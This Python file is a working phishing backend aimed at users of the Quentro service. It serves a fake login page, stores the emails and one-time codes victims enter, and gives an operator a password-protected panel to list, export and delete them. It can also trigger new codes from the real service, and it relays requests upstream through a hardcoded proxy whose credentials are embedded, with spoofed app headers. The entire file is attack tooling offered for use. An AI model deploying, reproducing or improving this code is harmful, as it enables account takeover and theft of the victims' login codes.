"""servidor.py — tela + proxy api.quentro.com + painel admin de capturas
Rotas:
  POST /api/collect                 <- a tela de login grava email/codigo
  GET  /api/admin/captures          <- painel lista tudo (JSON)
  GET  /api/admin/export            <- CSV para download
  DELETE /api/admin/captures        <- limpa tudo
  DELETE /api/admin/captures/<id>   <- apaga um registro
  POST /api/...                     <- proxy p/ api.quentro.com (resto)
Uso: python servidor.py  (porta 8000, painel em /painel.html)
"""
import csv
import base64
import hmac
import io
import json
import os
import threading
import time
import traceback
import urllib.request
import urllib.error
from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer

# login do painel admin (override via env se precisar)
ADMIN_USER = os.environ.get('QUENTRO_ADMIN_USER', 'admin')
ADMIN_PASS = os.environ.get('QUENTRO_ADMIN_PASS', 'jcop123')


def _is_admin_path(path):
    p = path.split('?')[0]
    return p == '/painel.html' or p.startswith('/api/admin/')


def _check_admin(handler):
    auth = handler.headers.get('Authorization', '')
    if not auth.startswith('Basic '):
        return False
    try:
        creds = base64.b64decode(auth[6:].strip()).decode('utf-8')
    except Exception:
        return False
    user, _, pwd = creds.partition(':')
    return (hmac.compare_digest(user, ADMIN_USER)
            and hmac.compare_digest(pwd, ADMIN_PASS))


def _deny_admin(handler):
    body = b'{"error":"auth required"}'
    handler.send_response(401)
    handler.send_header('WWW-Authenticate', 'Basic realm="admin"')
    handler.send_header('Content-Type', 'application/json')
    handler.send_header('Content-Length', str(len(body)))
    handler.end_headers()
    handler.wfile.write(body)

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
CAPTURES_FILE = os.environ.get('CAPTURES_FILE',
                               os.path.join(BASE_DIR, 'capturas.json'))
PORT = int(os.environ.get('PORT', '8000'))
_LOCK = threading.Lock()


def _load():
    try:
        with open(CAPTURES_FILE, 'r', encoding='utf-8') as f:
            data = json.load(f)
            return data if isinstance(data, list) else []
    except Exception:
        return []


def _save(caps):
    tmp = CAPTURES_FILE + '.tmp'
    with open(tmp, 'w', encoding='utf-8') as f:
        json.dump(caps, f, ensure_ascii=False, indent=1)
    os.replace(tmp, CAPTURES_FILE)

UPSTREAM = 'https://api.quentro.com'
# proxy dedicado (override via env QUENTRO_PROXY se precisar trocar)
PROXY_URL = os.environ.get(
    'QUENTRO_PROXY',
    'http://avs9zN6qR2Co6Ctg:pnVKD3t34lN1@108.165.158.74:8886',
)
_opener = urllib.request.build_opener(
    urllib.request.ProxyHandler({'http': PROXY_URL, 'https': PROXY_URL}))
_direct = urllib.request.build_opener(urllib.request.ProxyHandler({}))


def _open(req, timeout=30):
    """Tenta via proxy; se o proxy falhar (ex.: sem credito), vai direto
    com um Request novo (o anterior carrega o proxy da 1a tentativa)."""
    try:
        return _opener.open(req, timeout=timeout)
    except urllib.error.HTTPError:
        raise
    except Exception as e:
        print('[proxy] falhou (%r), tentando conexao direta' % (e,))
        req2 = urllib.request.Request(
            req.full_url, data=req.data,
            headers=dict(req.header_items()), method=req.get_method())
        return _direct.open(req2, timeout=timeout)
APP_HEADERS = {
    'Content-Type': 'application/json',
    'Accept': 'application/json, text/plain, */*',
    'x-quentro-version': '4.5.3',
    'x-brand': 'realme',
    'x-useragent': ('Mozilla/5.0 (Linux; Android 16; RMX3938 '
                    'Build/BP2A.250605.031.A3; wv) AppleWebKit/537.36 '
                    '(KHTML, like Gecko) Version/4.0 Chrome/153.0.8010.36 '
                    'Mobile Safari/537.36'),
}


class Handler(SimpleHTTPRequestHandler):
    def _json(self, obj, code=200):
        out = json.dumps(obj, ensure_ascii=False).encode('utf-8')
        self.send_response(code)
        self.send_header('Content-Type', 'application/json; charset=utf-8')
        self.send_header('Content-Length', str(len(out)))
        self.end_headers()
        self.wfile.write(out)

    def _read_json(self):
        try:
            length = int(self.headers.get('Content-Length', 0))
            raw = self.rfile.read(length) if length else b'{}'
            return json.loads(raw.decode('utf-8') or '{}')
        except Exception:
            return {}

    # ---------------- admin: capturas ----------------
    def _handle_collect(self):
        data = self._read_json()
        email = (data.get('email') or '').strip()
        if not email:
            return self._json({'ok': False}, 400)
        with _LOCK:
            caps = _load()
            rec = next((c for c in caps if c['email'] == email), None)
            if rec is None:
                rec = {'id': str(int(time.time() * 1000)),
                       'email': email, 'code': '', 'status': 'email',
                       'created_at': time.strftime('%d/%m %H:%M:%S'),
                       'updated_at': '', 'ip': self.client_address[0],
                       'ua': self.headers.get('User-Agent', '')[:120]}
                caps.append(rec)
            etype = data.get('type', '')
            if etype == 'code' and data.get('code'):
                rec['code'] = data['code']
                rec['status'] = 'code'
            elif etype == 'verified':
                rec['status'] = 'verified'
            elif etype == 'failed':
                rec['status'] = 'failed'
            rec['updated_at'] = time.strftime('%d/%m %H:%M:%S')
            _save(caps)
        print('[CAPTURA] %s -> %s' % (etype, email))
        return self._json({'ok': True})

    def _handle_list(self):
        with _LOCK:
            caps = _load()
        caps.sort(key=lambda c: c.get('updated_at', ''), reverse=True)
        return self._json(caps)

    def _handle_export(self):
        with _LOCK:
            caps = _load()
        buf = io.StringIO()
        w = csv.writer(buf)
        w.writerow(['email', 'code', 'status', 'created', 'updated', 'ip'])
        for c in caps:
            w.writerow([c.get('email', ''), c.get('code', ''),
                        c.get('status', ''), c.get('created_at', ''),
                        c.get('updated_at', ''), c.get('ip', '')])
        out = buf.getvalue().encode('utf-8-sig')
        self.send_response(200)
        self.send_header('Content-Type', 'text/csv; charset=utf-8')
        self.send_header('Content-Disposition',
                         'attachment; filename="capturas.csv"')
        self.send_header('Content-Length', str(len(out)))
        self.end_headers()
        self.wfile.write(out)

    def _handle_resend(self):
        """Solicita um NOVO codigo p/ um email capturado (via painel admin)."""
        data = self._read_json()
        email = (data.get('email') or '').strip()
        if not email:
            return self._json({'ok': False, 'error': 'email vazio'}, 400)
        body = json.dumps({'email': email, 'locale': 'pt-BR'}).encode('utf-8')
        req = urllib.request.Request(UPSTREAM + '/user/v2/email/sendCode',
                                     data=body, method='POST',
                                     headers=dict(APP_HEADERS))
        try:
            with _open(req, timeout=30) as r:
                out = r.read()
                ok = r.status == 200
        except Exception as e:
            try:
                out, code = e.read(), e.code
            except Exception:
                out, code = b'{"message":"proxy error"}', 502
            ok = False
        with _LOCK:
            caps = _load()
            rec = next((c for c in caps if c['email'] == email), None)
            if rec is None:
                rec = {'id': str(int(time.time() * 1000)),
                       'email': email, 'code': '', 'status': 'email',
                       'created_at': time.strftime('%d/%m %H:%M:%S'),
                       'updated_at': '', 'ip': self.client_address[0],
                       'ua': self.headers.get('User-Agent', '')[:120]}
                caps.append(rec)
            rec['status'] = 'resent' if ok else 'resend_failed'
            rec['updated_at'] = time.strftime('%d/%m %H:%M:%S')
            _save(caps)
        print('[REENVIO] %s -> %s' % (email, 'OK' if ok else 'FALHA'))
        try:
            payload = json.loads(out.decode('utf-8'))
        except Exception:
            payload = {'raw': out.decode('utf-8', errors='replace')[:300]}
        return self._json({'ok': ok, 'response': payload},
                          200 if ok else 502)

    def _handle_delete(self):
        parts = [p for p in self.path.rstrip('/').split('/') if p]
        # ['api','admin','captures'] ou ['api','admin','captures','<id>']
        with _LOCK:
            caps = _load()
            if len(parts) >= 4 and parts[3] not in ('', 'captures'):
                caps = [c for c in caps if c.get('id') != parts[3]]
            elif len(parts) == 3:
                caps = []
            _save(caps)
        return self._json({'ok': True})

    def do_GET(self):
        if _is_admin_path(self.path) and not _check_admin(self):
            return _deny_admin(self)
        if self.path == '/api/admin/captures':
            return self._handle_list()
        if self.path == '/api/admin/export':
            return self._handle_export()
        return super().do_GET()

    def do_DELETE(self):
        if _is_admin_path(self.path) and not _check_admin(self):
            return _deny_admin(self)
        if self.path.startswith('/api/admin/captures'):
            return self._handle_delete()
        return self.send_error(404)

    def do_POST(self):
        if _is_admin_path(self.path) and not _check_admin(self):
            return _deny_admin(self)
        if self.path == '/api/collect':
            return self._handle_collect()
        if self.path == '/api/admin/resend':
            return self._handle_resend()
        if not self.path.startswith('/api/'):
            self.send_error(404)
            return
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length) if length else b'{}'
        url = UPSTREAM + self.path[len('/api'):]
        req = urllib.request.Request(url, data=body, method='POST',
                                     headers=dict(APP_HEADERS))
        try:
            with _open(req, timeout=30) as r:
                out = r.read()
                self.send_response(r.status)
                self.send_header('Content-Type', 'application/json')
                self.send_header('Content-Length', str(len(out)))
                self.end_headers()
                self.wfile.write(out)
        except Exception as e:
            try:
                code = e.code
                out = e.read()
            except Exception:
                traceback.print_exc()
                code, out = 502, b'{"message":"proxy error"}'
            self.send_response(code)
            self.send_header('Content-Type', 'application/json')
            self.send_header('Content-Length', str(len(out)))
            self.end_headers()
            self.wfile.write(out)

    def log_message(self, fmt, *args):
        print('%s %s' % (self.command, getattr(self, 'path', '-')))


if __name__ == '__main__':
    # local: 127.0.0.1 | VPS/Railway: QUENTRO_PUBLIC=1 (escuta em 0.0.0.0)
    # Railway injeta PORT sozinha; em volume monte CAPTURES_FILE=/data/capturas.json
    import ssl
    host = '0.0.0.0' if os.environ.get('QUENTRO_PUBLIC') == '1' else '127.0.0.1'
    srv = ThreadingHTTPServer((host, PORT), Handler)
    print('no ar: http://%s:%d/quentro-login.html' % (host, PORT))
    # HTTPS (8443) se cert.pem/key.pem existirem (ex.: cert autoassinado da VPS)
    cert = os.path.join(BASE_DIR, 'cert.pem')
    key = os.path.join(BASE_DIR, 'key.pem')
    if os.path.exists(cert) and os.path.exists(key):
        hport = int(os.environ.get('HTTPS_PORT', '8443'))
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        ctx.load_cert_chain(cert, key)
        ssrv = ThreadingHTTPServer((host, hport), Handler)
        ssrv.socket = ctx.wrap_socket(ssrv.socket, server_side=True)
        threading.Thread(target=ssrv.serve_forever, daemon=True).start()
        print('https  : https://%s:%d/quentro-login.html' % (host, hport))
    srv.serve_forever()
